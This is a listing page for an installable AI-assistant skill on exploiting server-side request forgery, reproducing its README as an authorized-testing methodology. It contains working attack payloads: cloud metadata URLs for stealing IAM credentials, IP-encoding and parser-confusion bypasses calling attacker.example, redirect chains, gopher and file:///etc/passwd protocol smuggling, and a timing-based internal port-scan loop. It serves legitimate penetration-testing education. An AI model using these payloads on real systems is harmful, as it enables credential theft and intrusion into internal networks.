mcpField
E
exploiting-ssrf

exploiting-ssrf

github.com/trilwuSecurity17755 installsUpdated 12w ago
Repository

About exploiting-ssrf

A security-testing skill for finding and validating server-side request forgery in authorized assessments. It covers blind detection, URL-filter bypasses, cloud metadata targets, and impact assessment while emphasizing scope limits.

Key features

  1. 01Identify URL-fetching inputs
  2. 02Confirm blind SSRF out of band
  3. 03Test filter and redirect bypasses
  4. 04Assess cloud metadata exposure
  5. 05Use timing and errors to infer reachability

Use cases

  1. 01Assessing webhook and URL import features
  2. 02Testing URL allowlists and redirect handling
  3. 03Checking metadata exposure in authorized tests
  4. 04Evaluating blind SSRF in renderers

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/trilwu/secskills --skill exploiting-ssrf

After installing, type/exploiting-ssrfin Claude Code to confirm it loaded.

Details

From the project README

Exploiting SSRF

SSRF matters because of what the server can reach that you cannot: the cloud metadata endpoint holding role credentials, internal services with no authentication, and the container network. The vulnerability is trivial; the work is in the bypasses and in knowing which internal target converts a curiosity into a compromise.

Only against systems you are authorized to test.

When to Use

  • Any feature that fetches a URL: webhooks, imports, avatar-from-URL, link previews, PDF/screenshot generation, XML/SVG processing, file fetch by URI
  • A parameter contains a URL, hostname, IP, or a path that becomes one
  • Source review finds an outbound HTTP call with a user-influenced target
  • Testing an integration that "calls back" to a customer-supplied endpoint

When NOT to Use

  • Client-side request forgery (CSRF) — different vulnerability entirely
  • The wider web methodology — use testing-web-applications
  • Source review as the main task — use auditing-code-for-vulnerabilities
  • Post-exploitation once you hold cloud credentials — use exploiting-cloud-platforms
  • Actually pivoting into internal systems beyond agreed scope — SSRF reaches further than most scopes intend; confirm before you traverse

Find It First

# Parameters that are, or become, URLs
rg -n 'url|uri|src|href|path|dest|redirect|next|feed|host|domain|callback|webhook|target|image|file|proxy' --type-add 'req:*.txt' -i

# Source review: outbound calls with an influenced target
rg -n 'requests\.get|urllib|httpx|HttpClient|fetch\(|curl_exec|file_get_contents|WebClient|RestTemplate|http\.Get' -A3

Every SSRF test starts with an out-of-band listener, because most SSRF is blind:

# Burp Collaborator, interact.sh, or your own DNS+HTTP logger
interactsh-client -v
# Submit http://<unique>.oast.example/ and watch for DNS and HTTP hits

DNS resolution alone is a positive signal. A DNS lookup with no HTTP request usually means the server resolved the host and then blocked the connection — the SSRF exists and a filter is in the way, which tells you to move to bypasses rather than abandon the parameter.

Cloud Metadata: The High-Value Target

# Expect IMDSv2 on any modern target. Since mid-2024 newly released EC2
# instance types are IMDSv2-only, and accounts can set IMDSv2-by-default for
# all new launches. A failed v1 GET therefore means "v1 is off", NOT "the host
# is not reachable" and NOT "no SSRF" — escalate to the v2 flow below before
# concluding anything.

# AWS IMDSv1 — a single GET, no headers (legacy instances only)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# → AccessKeyId, SecretAccessKey, Token

# AWS IMDSv2 — requires a PUT to get a token first, then a header on the GET.
# This is why IMDSv2 blocks most SSRF: a simple URL-fetch primitive cannot set
# a custom header or issue a PUT. If the SSRF proxies your full request
# (method and headers), IMDSv2 is still reachable.
PUT http://169.254.169.254/latest/api/token
    X-aws-ec2-metadata-token-ttl-seconds: 21600
GET http://169.254.169.254/latest/meta-data/...
    X-aws-ec2-metadata-token: <token>

# Azure — requires a header, similar reasoning
http://169.254.169.254/metadata/instance?api-version=2021-02-01
    Metadata: true

# GCP — requires a header
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
    Metadata-Flavor: Google

# Kubernetes — the service account token is on disk, not over HTTP, but the
# API server and kubelet are reachable
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
http://<node-ip>:10250/pods

Credentials recovered here go to exploiting-cloud-platforms. Report the finding at the severity of what the role can do, not "an internal URL was fetched."

Also worth reaching: http://localhost:<port> for admin interfaces bound to loopback, Redis and Memcached (unauthenticated by default and reachable via gopher:// if the client supports it), Elasticsearch on 9200, Docker's socket via http://localhost:2375/containers/json, and internal CI/CD dashboards.

Filter Bypasses

Work through these in order; the first three defeat most naive filters.

Alternate IP encodings for 169.254.169.254
  2852039166            decimal
  0251.0376.0251.0376   octal
  0xA9FEA9FE            hex
  ①⑥⑨.②⑤④…            unicode digits (some parsers normalize)

Alternate localhost
  127.0.0.1  127.1  127.000.000.1  0.0.0.0  0  [::1]  [::ffff:127.0.0.1]
  localtest.me   spoofed.burpcollaborator.net    (public DNS → 127.0.0.1)

DNS pointing where you want
  Register a name whose A record is 169.254.169.254 or an internal IP

URL parser confusion — the fetcher and the validator disagree
  http://[email protected]/
  http://169.254.169.254#expected.com/
  http://expected.com.attacker.example/
  http://attacker.example\@expected.com/
  http://[::]:80/
  Case, trailing dots, double slashes, and %2e%2e%2f in the path

Redirect chains — validator checks the first URL, fetcher follows the 302
  https://attacker.example/redirect → 302 → http://169.254.169.254/...

Protocol smuggling, when the client supports it
  file:///etc/passwd
  gopher://127.0.0.1:6379/_SET%20key%20value      (Redis via raw TCP)
  dict://127.0.0.1:11211/stat

DNS rebinding defeats validators that resolve, check, then let the HTTP client resolve again: return a public IP on the first lookup and an internal one on the second. This is the bypass for "we resolve and check the IP" — the only robust defence is to resolve once and connect to that address.

Redirects are the most common miss. Test them explicitly: a validator that approves the initial URL and an HTTP client with follow_redirects=True is a complete bypass, and it is the default configuration of most HTTP libraries.

Blind SSRF

When you get no response body:

  1. Out-of-band confirmation — DNS and HTTP hits prove the request happened.
  2. Timing — an internal IP with a service responds fast; a filtered one hangs until timeout. That difference is a port scanner.
  3. Error differentials — "invalid image" vs "connection refused" vs a timeout distinguishes open ports, closed ports, and filtering.
  4. Second-order effects — a rendered PDF or thumbnail may contain the fetched content even when the HTTP response does not.
# Internal port scan by timing, one target at a time
for p in 22 80 443 3306 5432 6379 8080 9200 10250; do
  s=$(date +%s%N)
  curl -s -o /dev/null "https://target/fetch?url=http://127.0.0.1:$p/"
  echo "$p $(( ($(date +%s%N)-s)/1000000 ))ms"
done

Renderers deserve their own attention: an HTML-to-PDF or screenshot service runs a full browser server-side, so an <iframe src="http://169.254.169.254/..."> or a <script>fetch(...)</script> in the submitted HTML gives you SSRF with a readable response rendered into the output document.

Rationalizations to Reject

  • "It only accepts https:// URLs on our allowlist." Test redirects, DNS rebinding, and parser confusion before believing an allowlist.
  • "No response is returned, so it's not exploitable." Blind SSRF reaching IMDSv1 still steals credentials, and renderers return content indirectly.
  • "We're on IMDSv2, so SSRF is mitigated." Only against simple URL fetchers. A request-proxying SSRF still reaches it, and IMDSv2 does nothing for the rest of the internal network.
  • "It's just an internal IP, low severity." Severity is what the internal target does. Enumerate before scoring.
  • "We block 169.254.169.254." Try the encodings, a DNS record pointing there, and the IPv6 and link-local variants.
  • "The library validates the URL." The library validates, then re-resolves. That is the rebinding gap.
  • "I'll map the whole internal network to show impact." Confirm reachability, then stop and check scope. SSRF traverses further than most engagements authorize.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Initial Access (TA0001)

  • T1190 Exploit Public-Facing Application — see also testing-web-applications, testing-apis, enumerating-network-services, attacking-graphql, attacking-grpc-protobuf, exploiting-deserialization, exploiting-xxe

Credential Access (TA0006)

  • T1552.005 Cloud Instance Metadata API — see also exploiting-cloud-platforms, attacking-eks-gke-aks

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

  • testing-web-applications — the surrounding methodology
  • exploiting-cloud-platforms — what to do with recovered role credentials
  • auditing-code-for-vulnerabilities — finding the outbound call in source
  • testing-apis, attacking-graphql — SSRF reached through API parameters
  • Burp Collaborator, interact.sh, SSRFmap, gopherus, nslookup/dig

Comments

Markdown supported